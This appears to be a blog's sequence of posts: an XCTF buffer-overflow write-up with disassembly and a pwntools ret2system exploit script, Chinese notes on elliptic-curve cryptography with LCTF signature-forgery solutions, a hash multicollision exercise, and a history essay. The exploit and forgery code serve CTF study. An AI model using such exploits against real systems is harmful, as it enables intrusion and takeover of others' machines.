0%

Source

Recently I found an interesting challenge collection site called XCTF World of Attack & Defense. This is the first challenge on their site. It’s also called cgpwn2.

Analysis

It’s a 32bits binary:

1
2
3
$ file pwn_1
pwn_1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2,
for GNU/Linux 2.6.24, BuildID[sha1]=86982eca8585ab1b30762b8479a6071dbf584559, not stripped

Checksec first:

1
2
3
4
5
6
7
gef➤  checksec
[+] checksec for 'pwn_1'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial

Basically no protection. Only NX is set to Yes.

Then check its functions list with radare2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[0x08048450]> afl
0x08048450 1 33 entry0
0x08048440 1 6 sym.imp.__libc_start_main
0x08048490 4 42 sym.deregister_tm_clones
0x080484c0 4 55 sym.register_tm_clones
0x08048500 3 30 entry.fini0
0x08048520 4 45 -> 44 entry.init0
0x080486e0 1 2 sym.__libc_csu_fini
0x08048480 1 4 sym.__x86.get_pc_thunk.bx
0x080486e4 1 20 sym._fini
0x08048562 9 162 sym.hello
0x0804854d 1 21 sym.pwn
0x08048420 1 6 sym.imp.system
0x08048670 4 97 sym.__libc_csu_init
0x08048604 1 96 main
0x080483e0 1 6 sym.imp.setbuf
0x08048410 1 6 sym.imp.puts
0x080483a0 3 35 sym._init
0x08048430 1 6 loc.imp.__gmon_start
0x080483f0 1 6 sym.imp.gets
0x08048400 1 6 sym.imp.fgets

sym.imp.system might be an entry point to the host system. The name of sym.pwn is also interesting. sym.imp.gets could be very likely to triger a buffer overflow.

Then analyze the code. We’ll entry from entry0 and go directly to the main function. In the main function, the program basically does nothing neither. It called sym.hello and then called call sym.imp.puts. The interesting thing should happen in sym.hello.

In the first half of the program, it does some funny things but I don’t think those are related to the real flaw. I only focus on the second half:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌ 162: sym.hello ();                                                                                                                               
│ ; var char *s @ ebp-0x26
│ ; var int32_t size @ esp+0x4
│ ; var FILE *stream @ esp+0x8
...
...
│ └─> 0x080485bc c704240c8704. mov dword [esp], str.please_tell_me_your_name ; [0x804870c:4]=0x61656c70 ; "please tell me your name" ;
const char *s
│ 0x080485c3 e848feffff call sym.imp.puts ; int puts(const char *s)
│ 0x080485c8 a144a00408 mov eax, dword [obj.stdin] ; obj.stdin__GLIBC_2.0
│ ; [0x804a044:4]=0
│ 0x080485cd 89442408 mov dword [stream], eax ; FILE *stream
│ 0x080485d1 c74424043200. mov dword [size], 0x32 ; '2'
│ ; [0x32:4]=-1 ; 50 ; int size
│ 0x080485d9 c7042480a004. mov dword [esp], obj.name ; [0x804a080:4]=0 ; char *s
│ 0x080485e0 e81bfeffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
│ 0x080485e5 c70424288704. mov dword [esp], str.hello_you_can_leave_some_message_here: ; [0x8048728:4]=0x6c6c6568 ; "hello,you can
leave some message here:" ; const char *s
│ 0x080485ec e81ffeffff call sym.imp.puts ; int puts(const char *s)
│ 0x080485f1 8d45da lea eax, [s]
│ 0x080485f4 890424 mov dword [esp], eax ; char *s
│ 0x080485f7 e8f4fdffff call sym.imp.gets ; char *gets(char *s)
│ 0x080485fc 90 nop
│ 0x080485fd 83c430 add esp, 0x30
│ 0x08048600 5b pop ebx
│ 0x08048601 5e pop esi
│ 0x08048602 5d pop ebp
└ 0x08048603 c3 ret

It’s easy to see that there is a stack overflow on 0x080485f7 e8f4fdffff call sym.imp.gets ; char *gets(char *s). s is a local variable points to ebp-0x26 and sym.imp.gets will not check input’s length. So we can overwrite the return address with the address of sym.imp.system with stack overflow and pass ‘/bin/sh’ as a parameter(32 bits applications use stack to pass the parameters). Then we should be able to take control of the system.

Then the problem is where to store the string “/bin/sh”. It could be great if we can save this string to .bss section: the variable obj.name is a global variable. So we can type /bin/sh as our “name” in the previous fgets() and save the to .bss section.

Now we have the “/bin/sh” string, the address of system, and a stack overflow on a 32 bits app. It’s good to go now.

Setup stack

When calling sym.hello, stack space was looks like this:

address content
0xffffd122 var char *s @ ebp-0x26 the overflow point
other local variables in function sym.hello
0xffffd148 old ebp (ebp in new stack frame will point to this address)
0xffffd14c return address to main: <main+77> mov DWORD PTR [esp], 0x804874f

We want to make the stack looks like this so we can jump to system with a pointer to string “/bin/sh” as its parameter:

address content
0xffffd122 var char *s @ ebp-0x26 I don’t really care
other local variables in function sym.hello I don’t really care
0xffffd148 old ebp (ebp in new stack frame will point to this address) I don’t really care
0xffffd14c return address to main: <main+77> mov DWORD PTR [esp], 0x804874f I need it be the address to sym.imp.system
0xffffd150 The return address from sym.imp.system I don’t really care
0xffffd154 sym.imp.system‘s argument. I need it be the pointer to “/bin/sh”

So the payload should be: “x” * (0xffffd14c - 0xffffd122) + (sym.imp.system‘s address) + “x” * 4 + (obj.name‘s address [we already set this to “/bin/sh”])

Then we got shell.

Knowledge

At first, I set the payload as “x” * (0xffffd14c - 0xffffd122) + (sym.imp.system‘s address) + (obj.name‘s address [we already set this to “/bin/sh”]). Then of course I can not get shell and it does not return anything. I was confused for a while but when I draw the stack, I found that I forgot the reserve a place for return address from sym.imp.system.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

ip = "111.198.29.45"
port = "54346"

r = remote(ip, port)
e = ELF("./53c24fc5522e4a8ea2d9ad0577196b2f")

system = e.symbols['system']
name = 0x0804A080

payload = b'a' * 42 + p32(system) + p32(0) + p32(name)
r.sendlineafter("please tell me your name\n", '/bin/sh')
r.sendlineafter("hello,you can leave some message here:\n", payload)

r.interactive()

Download

click to download the binary


0X00. 椭圆曲线好在哪里

对公钥密码体制进行评测时,一般要考虑三个方面:

  • 功能性
  • 安全性
  • 性能

对于给定的安全级别, ECC 比 RSA , DL 只需要更小的参数;对于更高的安全性级别,参数大小的差异会更加明显。这意味着 ECC 会拥有占用空间更小的密钥、安全证书,以及更快的运行速度。

实际上, ECC 的私钥运算比 RSA 、 DL 快很多倍。在公钥运算中, ECC的运算速度比 DL 快很多倍;当 RSA 选用了一个小的加密指数e(如65535)时,rsa的公钥运算会比ecc快一些。

综合这些情况,在一些性能受限的场合, ECC 的这些优点是很有意义的。

0X01. 椭圆曲线上的一些问题

0X01-1. 椭圆曲线上的DL问题–ECDLP

定义:对于定义在某有限域上的曲线E,设一阶为n的基点P,及P生成出来的某点Q,在[0, n-1]间寻找一个数字l,使得Q=lP。

对于ECDLP问题,已知最好的算法是将 Pohlig-Hellman 算法和 Pollard’s rho 算法相结合该方法的运行时间是为完全指数时间 O(P^(1/2)) 其中P为基点阶数n的最大素因子。所以在参数选择上,要求n含有较大的素因子,以使该算法的计算量不可能实现。

ECDLP的难解并没有数学上的证明,它只是一个假设

0X01-2. 椭圆曲线上的 Diffie-Hellman 问题–ECDHP

定义:对于定义在某有限域上的曲线E,设一基点P。提供 A=aP、B=bP、P;求出C=abP。

这个问题不比ECDLP困难。已经证明在某些情况下,ECDHP与ECDLP是等价的。

0X01-3. 椭圆曲线上的判定性 Diffie-Hellman 问题–ECDDHP

定义:对于定义在某有限域上的曲线E,设一基点P。提供 A=aP、B=bP、P;区分C=abP与P生成的点群上的任意一点Q。

这个问题不比ECDHP困难。在一般的素数阶n中ECDDHP困难性下界为n^(1/2)。

0X02. 椭圆曲线上的签名方案

对椭圆曲线上的签名的定义——由四个部分组成:
    1. 生成一组用以定义椭圆曲线及基点的参数
    2. 生成一组公私钥对
    3. 根据输入的参数组,私钥和消息生成一个签名
    4. 根据输入的参数组,公钥,消息和签名来验证这一签名

0X02-1 ECDSA

  • 签名的生成
    [P为曲线上一基点,n为P在曲线上的阶,m为消息,H()为输出长度不超过n比特的密码杂凑函数,d为私钥]

    • 在[1, n-1]中选择随机k
    • 计算kP=(x1, y1)
    • 计算r=x1 mod n 若r=0,则跳回第一步
    • 计算e=H(m)
    • 计算s=k^(-1)(e+dr) mod n 若s=0,则跳回第一步
    • 返回(r, s)
  • 签名的验证
    [Q为公钥,有Q=dP]

    • 计算e=H(m)
    • 计算w=s^(-1) mod n
    • 计算u1=ew mod n
    • 计算u2=rw mod n
    • 计算X=u1P+u2Q=(x, y)
    • 若x=r,则签名通过验证

将ECDSA与DSA对比,很容易发现,本质上他们是相同的算法。只不过ECDSA中将DSA的实数域上的指数运算改成了椭圆曲线点群上的数乘运算。

ECDSA基于的问题是ECDLP

0X03. 椭圆曲线上的加密方案

对椭圆曲线上加密的定义——由四部分组成:
    1. 生成一组用以定义椭圆曲线及基点的参数
    2. 生成一组公私钥对
    3. 根据输入的参数组,公钥,明文,生成一个密文
    4. 根据输入的参数组,私钥,密文,拒绝一个密文为非法密文或得到合法密文对应的明文。

0X03-1. ECIES
[P为曲线上一基点,n为P在曲线上的阶,Q为公钥,且Q=dP,某对称加密算法E(),某密钥导出函数KDF(),明文m]

  • 加密

    • 在[0, n-1]选择随机r
    • 计算R=rP,Z=rQ=(xz, yz),若Z=无穷远点,返回第一步
    • ke||kM = KDF(xz, R)
    • c = E(ke, m)
    • t = MAC(kM, c)
    • 返回 R||c||t
  • 解密

    • 计算Z=dR=(xz, yz)
    • 计算ke||kM = KDF(xz, R)
    • 计算m=E(ke, m)
    • 校验 t = MAC(kM, c)

算法基于的问题是ECDHP

0X04. 椭圆曲线上的密钥交换

0X04-1. ECDH

  • 密钥交换
    [双方确定一个曲线G;A的公钥为Qa,B的公钥为Qb;A的私钥为da,B的私钥为db;]
    • A->B:Qa
    • B->A:Qb
    • A计算K=daQb
    • B计算K=dbQa
    • 双方得到同一个点K

本质上, ECDH 和 Diffie-Hellman 密钥交换协议是相同的。只不过把实数域的指数运算换成了椭圆曲线点群上的数乘运算

同样地,ECDH基于ECDHP

双线性对

两道题目中没有用到双线性对其他复杂的性质与困难问题,只用到了最基本的一条性质:

$$e(g^a, h^b) == e(g, h)^{(a*b)}$$

Charm

看到许多人卡在安装charm上,略有些惊讶……

1
pip install charm-crypto

如果没有安装依赖,是无法直接用pip安装charm的。 charm的文档中描述了charm的依赖包,以及如何手动编译安装。

官方文档

Crypto1

0X00. 题目原文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python3
from charm.toolbox.pairinggroup import *
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from urllib import parse, request

logo = """
_| _|_|_| _|_|_|_|_| _|_|_|_|
_| _| _| _|
_| _| _| _|_|_|
_| _| _| _|
_|_|_|_| _|_|_| _| _|



_|_| _| _| _|_|_|_|_|
_| _| _| _| _|_| _|
_| _| _| _| _|
_| _| _| _| _|
_|_|_|_| _| _| _|
"""

def sign(message, G, k, g, h, S):
d = ***************************************

message = bytes(message, 'UTF-8')
message = bytes_to_long(message)

if message == 0:
message = G.random(ZR)

mid = S**k
mid = G.serialize(mid)
mid = bytes_to_long(mid)
P = G.pair_prod(g**mid, h**(message + d*k))

return G.serialize(P)


def check_token(token, name):
url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/'
req = request.Request(url=url)
try:
res = request.urlopen(req)
if res.code == 200:
return True
except :
pass

return False


def main():
print(logo)

S = ************************************************
R0 = ***********************************************
R1 = ************************************************
R2 = ***********************************************

S1 = S + R0
S2 = S + R0*2

G = PairingGroup('SS512')
g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
g = G.deserialize(g)
h = G.deserialize(h)

token_str = input("token:>>")
name = input("team name:>>")
if not check_token(token_str, name):
return 0
else:
try:
token = bytes(token_str,'UTF-8')
token = bytes_to_long(token)
except :
return 0

if token%2 ==1:
point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
else:
point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
print(G.serialize(point))

S = G.pair_prod(g,h)**S
k = G.serialize(S)
k = bytes_to_long(k)

message = input('message to sign:>>')
if "show me flag" in message:
return 0
else:
signed = sign(message, G, k, g, h, S)
print(signed)

signed_from_challenger = input('sign of "show me flag":>>')
if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger:
with open('./flag') as target:
print(target.read())

if __name__ == '__main__':
main()

0X01. 思路

  • 从下往上找可以看到,想要获得flag就需要提供sign(‘show me flag’, …)。
  • 再往上看,这个服务能提供所有不包含’show me flag’子串的字符串M对应的sign(M)。显然这里是一个选择明文攻击(CPA)。
  • 检查函数sign,发现sign中未引入随机量,据此判断sign没有CPA安全性。
  • 分析sign,在选择明文攻击中攻破sign。

0x02. 攻破sign

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def sign(message, G, k, g, h, S):
d = ************************************************

message = bytes(message, 'UTF-8')
message = bytes_to_long(message)

if message == 0:
message = G.random(ZR)

mid = S**k
mid = G.serialize(mid)
mid = bytes_to_long(mid)
P = G.pair_prod(g**mid, h**(message + d*k))

return G.serialize(P)

读读sign,发现这是对ECDSA的拙劣模仿。

sign(M, …)返回的结果是这样的:

$$e(g^{(S^k)}, h^{(M + d*k)})$$

其中,S, k, d 三个值现在都不知道;g, h 已知;M可以自由控制但是不能为空,也不能包含子串’show me flag’。

化简一下sign(M, …)返回的结果:

$$e(g, h) ^ {(S^k * M + S^k * d * k)}$$

一个直观的思路

  • 选择M1, M2,保证 bytes_to_long(M1) - bytes_to_long(M2) = t,t为任意常数
  • 请求 s1 = sign(M1, …) ; s2 = sign(M2, …)
  • 选择 M’,保证 bytes_to_long(M’) + k = bytes_to_long(‘show me flag’)
  • 请求 s’ = sign(M’, …)
  • 计算:
1
2
3
4
5
6
s = s' * (s1 / s2) 
= (e(g, h) ^ (S^k * M' + S^k * d * k)) * ((e(g, h) ^ (S^k * M1 + S^k * d * k)) / (e(g, h) ^ (S^k * M2 + S^k * d * k)))
= e(g, h) ^ (S^k * (M' + M1 - M2) + S^k * d * k)
= e(g, h) ^ (S^k * (M' + k) + S^k * d * k)
= e(g, h) ^ (S^k * M + S^k * d * k)
= sign('show me flag', ...)

至此crypto1的解计算完成。提交时看看题目给出代码中的判断部分注意提交格式。

Crypto2

0X00. 题目原文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
from charm.toolbox.pairinggroup import *
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from urllib import parse, request

logo = """
_| _|_|_| _|_|_|_|_| _|_|_|_|
_| _| _| _|
_| _| _| _|_|_|
_| _| _| _|
_|_|_|_| _|_|_| _| _|



_|_| _| _| _|_|_|_|_|
_| _| _| _| _|_| _|
_| _| _| _| _|
_| _| _| _| _|
_|_|_|_| _| _| _|
"""

def sign(message, G, k, g, h, S):
d = ********************************************

message = bytes(message, 'UTF-8')
message = bytes_to_long(message)

if message == 0:
message = G.random(ZR)

mid = S**k
mid = G.serialize(mid)
mid = bytes_to_long(mid)
P = G.pair_prod(g**mid, h**(message + d*k))

return G.serialize(P)


def check_token(token, name):
url = 'http://lctf.pwnhub.cn/api/ucenter/teams/'+token+'/verify/'
req = request.Request(url=url)
try:
res = request.urlopen(req)
if res.code == 200:
return True
except :
pass

return False


def main():
print(logo)

S = ***********************************************
R0 = ************************************************
R1 = ************************************************
R2 = ************************************************

S1 = S + R0
S2 = S + R0*2

G = PairingGroup('SS512')
g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='
g = G.deserialize(g)
h = G.deserialize(h)

token_str = input("token:>>")
name = input("team name:>>")
if not check_token(token_str, name):
return 0
else:
try:
token = bytes(token_str,'UTF-8')
token = bytes_to_long(token)
except :
return 0

if token%2 ==1:
point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
else:
point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
print(G.serialize(point))

S = G.pair_prod(g,h)**S
k = G.serialize(S)
k = bytes_to_long(k)

message = 'abcd'
signed = sign(message, G, k, g, h, S)
print('signed of "abcd":>>', signed)

signed_from_challenger = input('sign of "show me flag":>>')
if str(sign('show me flag', G, k, g, h, S)) == signed_from_challenger:
with open('./flag2') as target:
print(target.read())

if __name__ == '__main__':
main()

0X01. 思路

比赛结束前三小时crypto2放出了hint:“这不止是一道crypto题目,它还是一道……”

两道题目只有几行代码不同,crypto2中不允许用户提交自己的字符串。只会返回sign(‘abcd’, …)。无法选择明文了,允许输入的地方只有三个:token,队名,和最后的变量 signed_from_challenger。其中‘队名’这个变量是打酱油的,丝毫用处都没有。(此处偷偷谴责一下写token校验api的兄台 :-P)

读完代码后应该可以意识到crypto2里sign函数也几乎是打酱油的,全程只有可能执行sign(‘abcd’)与sign(‘show me flag’)。

那么问题肯定出在前面那一坨代码上了。

读一下前面的代码,意识到前面的代码其实是在双线性对映射出的那个群中一点e(g, h)的指数上实现了一个两层递归的 shamir门限方案。这个shamir树型结构也是CP-ABE(Cipher Policy - Attributes Based Encryption)的基础结构。

图示:

shamir递归树

题目中如下代码实现了这颗树。

1
2
3
4
5
if token%2 ==1:
point = G.pair_prod(g**token, h**R1) * G.pair_prod(g**S1, h)
else:
point = G.pair_prod(g**token, h**R2) * G.pair_prod(g**S2, h)
print(G.serialize(point))

在实际代码中,奇数选手将得到 e(g, h)^(tokenR1 + S1);偶数选手将得到 e(g, h)^(tokenR2 + S2)。从更靠前的代码可以看到S1,S2的来源:已知S1,S2时,它们组成了一个简单的二元一次方程组。如果想要恢复出sign函数输入中的S和k,就需要先拿到S,或者拿到S的一些特征,比如说e(g, h)^S。

1
2
S1 = S + R0
S2 = S + R0*2

对于S,如果只知道S1,或者只知道S2,是无法解出S的。毕竟“K元一次方程需要至少K个一组才可能有解,否则一定有无穷多解”。

对于选手能直接得到的 e(g, h)^(token*R1 + S1) ,有两个未知量R1,S1,在只有一个token时也是有无穷多解的。因此需要两个奇数token,两个偶数token才有可能恢复出S(这里对应给出的hint:它不只是一道crypto题目,它还是一道社工题)。在实际操作中,我们只能恢复到e(g, h)^S,不过这已经足够我们求出’show me flag’的sign啦。

因为我们只能得到’abcd’的sign,即 e(g^(S^k), h^(‘abcd’ + d*k))
(注:此处代码前,S被赋值成了e(g, h)^S,详情见题目原文)
在我们能得到S = e(g, h)^S,且可以根据S求得k时,我们就可以给任意消息做签名了。

0X02. writeUp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from charm.toolbox.pairinggroup import *
from Crypto.Util.number import bytes_to_long, inverse

def main():
G = PairingGroup('SS512')
g = b'1:HniHI3b/eK111pzcIdKZKJCK9S7QiL5xItmJ9iTvEaGGEVuM4hGc2cMRqhNwsV29BN/QpqhopD+2XgUaTdQMqQA='
h = b'2:OGpVSq03JR4dWKsDZ+6DBJ6Qwy2E4jaNA6HsWJZNP1vhHe2wYjLUvw990iouBG8XQVEbKr+uLNc3k9n4JDAJOgA='

# 4 different token. 2 even 2 odd
t1 = bytes_to_long(b'4795968fe0bf73a1e39e6fec844dee01')
S1 = b'3:cOlYveeItjU4ZHh8B58RjWUYJwdtFi/FXzqtd2GnnqEMJ9AFKzNjV90eUoPDLkinkWsdmbYTJxFTq5bvucwVHE98Uvw2laNvrsCFY9Mw766YdEPAtj7smBt/tIDl+u1mORufxZX8Q31F3dJjnzEoYhlxRZ9e9JFVtK7nW2Di6Iw='
t2 = bytes_to_long(b'f11ca9db1f547b71a1b9592659553814')
S2 = b'3:NjqqiCxaQtlFS1FEsSD+jmuO9Z0srysMi4K1nVCg2yAxJRjX62PPMSbY5JAa+Y4Ap25p9+u1EZ05f1RSwOXyZiIAZoDoS0crKDHRLJtE40aswcnPaf1JklMGBOGLdBUOZ3+nknLRDLACyBFnTW8y6FnHzLICGruBHisLhschvHM='
t3 = bytes_to_long(b'97fddec1d9e630075803fc67d4220b05')
S3 = b'3:GYcIbust8E1tcYZghIgC4x6YhrAyJUvy0lHHUxfvIOD7S/ann03RFrhO4qKb0jQ4vcU7pHJPv9Q+WDDPV/mAcH224dIfSyGcv91adl0tuhS6z0Fr4tBz03YUFUcGvAvi7bHvjnywwAjkTe1ZmMybyUnc9bMTPUxIZ3kli2b3PRs='
t4 = bytes_to_long(b'adafcd958bbe176dd9cc96ef3aaa6438')
S4 = b'3:R7Zhznj9aRtEv9ifZfLf9aqt4PSZzrMCSXuxkwZDdLEC2pqRPC1dWtP41BLR0UbbZVbTyOuojif9HYVuDu7oFSMTtj3zUxwXUW2x5sCYnkY3MOhSKM9JJxzAktSF0H2rIVvw4iBhQoh6Ecy3qRYfjZSha4Bc729DXHbYx0sMxd4='

# SS512's order. get from G.order()
order = 730750818665451621361119245571504901405976559617

#init
g = G.deserialize(g)
h = G.deserialize(h)
S1 = G.deserialize(S1)
S2 = G.deserialize(S2)
S3 = G.deserialize(S3)
S4 = G.deserialize(S4)

#compute x**S1
t_S1 = ((S1**t3)/(S3**t1))**inverse((t3-t1), G.order())
print(t_S1)

#compute x**S2
t_S2 = ((S2**t4)/(S4**t2))**inverse((t4-t2), G.order())
print(t_S2)

#compute x**S
t = (t_S1*t_S1)/t_S2
print(t)

#compute k
k = G.serialize(t)
k = bytes_to_long(k)

#compute mid
mid = t**k
mid = G.serialize(mid)
mid = bytes_to_long(mid)

#compute sign
signed = b'3:loZKMHi9WWkS46zTQyidX5546U2Sg/JLnNi18X2KRklZdJSth4Kyj5FPg0J8sVpc9hyClgIo2P8xOGsRK6Zxc2AW6euFkyaOUWI9ZmYp2AhE0kcOypR4vASF9vWYtNqj0qlsExtMThSUtS53HYHCczbxcxA2Vcr/tkFagicyU30='
signed = G.deserialize(signed)
message = bytes_to_long(b'abcd')
signed = signed/(G.pair_prod(g, h)**(mid*message))

message = bytes_to_long(b'show me flag')
signed = signed*(G.pair_prod(g, h)**(mid*message))
print(str(G.serialize(signed)))


if __name__ == '__main__':
main()

I found a really interesting challenge in Cryptography’s weekly quiz. Post it here.

subject

Let be a Merkle-Damgård hash function built out of compression function F. Suppose that you have a black box which can find pre-images of F ; that is, the black box takes inputs IV and y and outputs an x such that F(IV,x) = y. (You may assume that if you give the black box the same value y multiple times, each time you call it you’ll get back a different value x satisfying F(IV,x) = y ) Show how by using the black box at most 2k times you can find a set of 2^k messages that all have the same hash value when input into the full hash function H.

inspiration

here is the Merkle–Damgård construction

Merkle–Damgård construction

From the description, “2k—>2^k” has been detected. It seems that I should give linear thing exponential attribute. What first came into my mind is that, there are k positions and in each position, we should have 2 values avaliable. In this way, we will own 2^k different values. So then I try to deal with the problem: How to get 2 different values with same IV and same hash that F(IV, message) generate which give the feasibility that these messages can be connected serially? It seems impossible, but, actully, it can be.

solution

Something about IV in Merkle–Damgård construction from wikipedia:

In the diagram, the one-way compression function is denoted by f, and transforms two fixed length inputs to an output of the same size as one of the inputs. The algorithm starts with an initial value, the initialization vector (IV). The IV is a fixed value (algorithm or implementation specific). For each message block, the compression (or compacting) function f takes the result so far, combines it with the message block, and produces an intermediate result. The last block is padded with zeros as needed and bits representing the length of the entire message are appended. (See below for a detailed length padding example.)

I define a structure first.

structure

In this way, from the first fixed IV, we generate 2 different random message M0,1 and M0,1’, and then, we compute F(IV, M0,1) and F(IV, M0,1’). WE HAVENOT CALL THAT BLACK BOX TILL NOW. After this operation, we generate a random IV2, and call the black box twice with black(IVt, IV2) and black(IVt’, IV2). In this way, we get M0,2=black(IVt, IV2); M0,2’=black(IVt’, IV2).

Let’s see what happened: we call that black box twice, and we obtain 2 message(m0,1||m0,2 and m0,1||m0,2notation) which can generate same IV2 with same IV1 in Merkle–Damgård construction. It means that they are interchangeable. So now I have solved the problem above: we do have 2 values avaliable in a single position. In conclusion, this structure need call black box twice and compute F() tiwce, and we can generate 2 different message with same output and IV in F().

So, what the attacker will do, is run this structure k time, set the first IV with the fixed IV in specific hash algorithm and later structure’s IV1 should be the output, namely, the IV2 in the former structure. In each position in these k structures, we have 2 different avaliable value interchangeably. So the previous challenge have been solved:

there are k positions and in each position, we should have 2 values avaliable. In this way, we will own 2^k different values.

洋务运动与明治维新似乎是比较相似的改革,为何中国失败了日本成功了?

这是2017年春或者2016年冬我写的总结,今日整理如下。

致谢:klaus彼时的资料查询

发起人

  • 洋务运动

    洋务运动的发起人是部分地方官吏。此次运动无中央政府的强力支持,且有来自其他官员的阻力。

    彼时中国的官员并无“国家”的概念,更多的是一种封疆大吏的僵化思想,认为各个行政区间各不相干。

  • 明治维新

    明治维新的发起人是日本权利核心。此次运动得到了日本中央政权的强力支持。这种强力支持在岩仓使节团的人选中有体现。

  • 为何

    • 日本

      • 此时下层武士刚刚推翻幕府,天皇刚掌权。
      • 天皇需要一场改革来清理内部
      • 此时日本属于封建主义,推行革命算是革手下的命
      • 一部分被称为“兰学家”的日本高级知识分子致力于西方文化(任何国家)的传播。热衷翻译书籍传播知识。
    • 中国

      • 此时中国属于中央集权,若是改革多半要革掉一部分皇帝自己的命
      • 政府对平民提防不减,领导者希望民众愚昧。
      • 长年信奉儒家文化
      • “天朝上国”概念深入彼时人心,高级知识分子故步自封。这些知识分子对社会风气与掌权者观念有重要的影响。

中国文化是中国发源的。出于盛行的“面子”文化以及深植人心的传统观念,清朝学者难以直接说【放弃】

日本在古代受到过中国文化的灌输,但这是外来的,说它不好、不完善是有挡箭牌的。或者当时的日本人根本不在乎这些?我不清楚中国的“面子”这东西在日本有没有传播。

指导思想

  • 洋务运动

    • 运动的受众

      这场运动只是几个官员自己玩,人民参与度不高。彼时的中国官员,中国政府似乎从未在意过基层人民。这或许是长年儒家文化熏陶的结果,也可能是长期愚民政策实施的必然后果。这场运动中,或许有人目的单纯,不过还可以说它是部分政府官员为获得更多政治资本而发起的革新,既得利益者太多。

      按中国的传统文化,一切不属于彼时中国政府推行的学术都是”奇技淫巧“。知识分子对”奇技淫巧“不感兴趣;非知识分子对一切知识都不感兴趣。此时懂外语的大多是商人,但商人大多只懂贸易时的外语,对兰学家的工作——”翻译书籍“毫不感兴趣。

      换句话说,我认为这场运动中,发起人并不关心中国文明是否进步。只关心中国能否“造出一些东西”。

      不过需要指出的是:李鸿章派遣的留洋学生,虽未直接帮到当时的中国,但对中国后来的发展产生深远的影响。

    • 直接指导思想

      “中学为本,西学为用”——只动皮毛,不动筋骨。只引进机器,不引进技术。只引进懂技术的人,不引进技术本身。彼时的做法:直接购买国外产品、请外国人来华办厂。

      仔细说来还是那句话:只关心能不能“造出东西”,不关心中国科技的进步。或者彼时的发起者们惧怕中国人民的知识水平的进步?

  • 明治维新

    • 运动的受众

      有兰学家的存在,大量外文书籍被翻译。明治维新时,日本全国大办西学。

      领导明治维新的大多是年轻有志的青年。

    • 直接指导思想

      日本看得见并且愿意指出自己的弱点。愿意进行”内外皆新“的改革。

  • 对比

    • 中国
      • 只有资本引进,无知识引进
      • 只动皮毛,不动筋骨
    • 日本
      • 引进知识,引进文化
      • 内外皆新

国际形势

清朝时的国际形势不允许一个强大的中国存在。

与之对比,英国需要一条足够强壮但能够被拴住的恶犬——日本本国内匮乏的资源就是英国人的链子。此处在辽东半岛的马关条约中有体现。

在经济上,工业化需要大量的启动资金与原材料。中国的改革开放算是全国众筹,彼时的日本则只能依靠英国的借款。

“弱小和无知不是生存的障碍-傲慢才是”——《三体》

”歌者眼里地球文明几个世纪的全貌,是地球毁灭的原因。前面部分以弱小和无知为主,无法避免,后面部分,当蝗虫发现自己不是受神宠爱的种族,却依然自己说服自己、自己催眠自己、自己感动自己,这就不能全怪弱小和无知,而应该怪傲慢了。“——《三体》评论

爱并不是什么复杂的东西,也并不”崇高“。不基于逻辑而基于如此虚浮的东西做判断便是取死之道。清朝时的”天朝上国“也是同样。或许彼时有无法做出正确选择的理由,不过作为皇帝在此背景下丝毫作为也无,那也是把脖子伸进了套索。——某痛恨程心的《三体》读者的评论

0X00 介绍

  • 场景模拟

    假设Alice和Bob被捕入狱,Bob被关在男牢房,而Alice被关在女牢房。看守Walter同意他们交换消息,但不允许他们加密。Walter明白,这样他们会商讨一个逃跑计划,他打算阅读他们之间的信件。
